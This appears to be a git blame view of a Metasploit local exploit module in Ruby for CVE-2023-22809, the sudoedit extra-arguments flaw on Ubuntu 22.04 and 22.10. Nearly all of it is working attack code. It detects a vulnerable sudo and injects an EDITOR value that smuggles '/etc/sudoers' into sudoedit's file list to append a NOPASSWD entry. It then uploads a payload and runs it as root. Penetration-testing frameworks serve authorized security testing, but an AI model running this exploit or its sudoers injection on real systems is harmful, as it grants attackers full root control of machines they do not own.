Files
metasploit-gs/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

242 lines
10 KiB
Ruby
Raw Normal View History

2023-04-25 04:37:33 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sudoedit Extra Arguments Priv Esc',
'Description' => %q{
2023-04-25 20:54:48 -04:00
This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.
The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided
environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to
append arbitrary entries to the list of files to process. This can lead to privilege escalation.
by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root
privileges.
2023-05-05 16:43:47 -04:00
Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu
22.04 and 22.10.
2023-04-25 20:54:48 -04:00
2023-05-05 16:43:47 -04:00
This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and
1.9.11p3-1ubuntu1 on Ubuntu 22.10.
2023-04-25 04:37:33 -04:00
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Matthieu Barjole', # original PoC, analysis
'Victor Cutillas' # original PoC, analysis
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'EDB', '51217' ],
[ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ],
[ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ],
[ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ],
[ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ],
[ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ],
[ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'],
[ 'CVE', '2023-22809' ]
],
'DisclosureDate' => '2023-01-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]),
2023-05-05 16:43:47 -04:00
OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]),
OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]),
2023-04-25 04:37:33 -04:00
]
end
2023-05-05 16:43:47 -04:00
def timeout
datastore['TIMEOUT']
end
2023-04-25 04:37:33 -04:00
# Simplify pulling the writable directory variable
def base_dir
datastore['WritableDir'].to_s
end
def get_editable_file
2023-05-13 15:49:11 -04:00
if datastore['EDITABLEFILE'].present?
fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE'])
vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}")
return datastore['EDITABLEFILE']
end
2023-04-25 04:37:33 -04:00
2023-05-16 16:18:14 -04:00
# we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to
2023-04-25 04:37:33 -04:00
# be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut
2023-05-16 16:18:14 -04:00
editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\\(root\\)|\\(ALL\\)|\\(ALL : ALL\\)\' | rev | cut -d " " -f 1 | rev')
2023-04-25 04:37:33 -04:00
editable_file = editable_file.strip
2023-05-13 15:49:11 -04:00
if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for')
2023-04-25 04:37:33 -04:00
return nil
end
2023-05-13 15:49:11 -04:00
return nil unless file?(editable_file)
2023-04-25 04:37:33 -04:00
editable_file
end
2023-05-05 16:43:47 -04:00
def get_sudo_version_from_sudo
package = cmd_exec('sudo --version')
package = package.split(' ')[2] # Sudo version XXX
begin
Rex::Version.new(package)
rescue ArgumentError
# this happens on systems like debian 8.7.1 which doesn't have sudo
Rex::Version.new(0)
end
end
2023-04-25 04:37:33 -04:00
def check
sys_info = get_sysinfo
2023-05-02 18:39:59 -04:00
# Check the app is installed and the version
2023-05-05 16:43:47 -04:00
if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian'
2023-05-02 18:39:59 -04:00
package = cmd_exec('dpkg -l sudo | grep \'^ii\'')
2023-05-05 16:43:47 -04:00
package = package.split(' ')[2] # ii, package name, version, arch
begin
ver_no = Rex::Version.new(package)
rescue ArgumentError
ver_no = get_sudo_version_from_sudo
end
2023-05-02 18:39:59 -04:00
else
2023-05-05 16:43:47 -04:00
ver_no = get_sudo_version_from_sudo
2023-05-02 18:39:59 -04:00
end
2023-04-25 04:37:33 -04:00
# according to CVE listing, but so much backporting...
minimal_version = '1.8.0'
maximum_version = '1.9.12p1'
2023-05-05 16:43:47 -04:00
exploitable = false
2023-04-25 04:37:33 -04:00
# backporting... so annoying.
# https://ubuntu.com/security/CVE-2023-22809
2023-05-05 16:43:47 -04:00
if sys_info[:distro] == 'ubuntu'
if sys_info[:version].include? '22.10' # kinetic
exploitable = true
2023-04-25 04:37:33 -04:00
maximum_version = '1.9.11p3-1ubuntu1.1'
2023-05-05 16:43:47 -04:00
elsif sys_info[:version].include? '22.04' # jammy
exploitable = true
2023-04-25 04:37:33 -04:00
maximum_version = '1.9.9-1ubuntu2.2'
2023-05-05 16:43:47 -04:00
elsif sys_info[:version].include? '20.04' # focal
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.31-1ubuntu1.4'
2023-05-05 16:43:47 -04:00
elsif sys_info[:version].include? '18.04' # bionic
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.21p2-3ubuntu1.5'
2023-05-05 16:43:47 -04:00
elsif sys_info[:version].include? '16.04' # xenial
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.16-0ubuntu1.10+esm1'
2023-05-05 16:43:47 -04:00
elsif sys_info[:version].include? '14.04' # trusty
2023-04-25 04:37:33 -04:00
maximum_version = '1.8.9p5-1ubuntu1.5+esm7'
end
end
2023-05-05 16:43:47 -04:00
if ver_no == Rex::Version.new(0)
return Exploit::CheckCode::Unknown('Unable to detect sudo version')
end
2023-04-25 04:37:33 -04:00
if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version)
vprint_good("sudo version #{ver_no} is vulnerable")
# check if theres an entry in /etc/sudoers that allows us to edit a file
editable_file = get_editable_file
if editable_file.nil?
2023-05-05 16:43:47 -04:00
if exploitable
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")
else
return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module")
end
elsif exploitable
2023-04-25 04:37:33 -04:00
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}")
2023-05-05 16:43:47 -04:00
else
2023-05-13 15:49:11 -04:00
return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module")
2023-04-25 04:37:33 -04:00
end
end
CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable")
end
def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
2023-05-02 18:39:59 -04:00
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
2023-04-25 04:37:33 -04:00
end
if get_editable_file.nil?
fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required'
end
# Make sure we can write our exploit and payload to the local system
2023-05-13 15:49:11 -04:00
unless writable?(base_dir) && directory?(base_dir)
2023-04-25 04:37:33 -04:00
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
2023-05-13 15:49:11 -04:00
sys_info = get_sysinfo
# Check the app is installed and the version
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu'
fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10')
2023-04-25 04:37:33 -04:00
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup(payload_path)
@flag = Rex::Text.rand_text_alphanumeric(12)
print_status 'Adding user to sudoers'
# we tack on a flag so we can easily grep for this line and clean it up later
2023-04-25 20:54:48 -04:00
command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}"
2023-04-25 04:37:33 -04:00
vprint_status("Executing command: #{command}")
output = cmd_exec command, nil, timeout
2023-05-05 16:43:47 -04:00
if output.include? '/etc/sudoers unchanged'
fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful')
2023-04-25 04:37:33 -04:00
end
2023-05-05 16:43:47 -04:00
if output.include? 'sudo: ignoring editor'
fail_with(Failure::NotVulnerable, 'sudo is patched')
end
2023-04-25 04:37:33 -04:00
output.each_line { |line| vprint_status line.chomp }
print_status('Spawning payload')
# -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell
# also, attempting to thread off of sudo was problematic, solution was
# https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh
# other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t
output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
def on_new_session(session)
if @flag
session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers")
2023-05-05 16:43:47 -04:00
flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers")
if flag_found.include? @flag
print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers")
end
2023-04-25 04:37:33 -04:00
end
super
end
end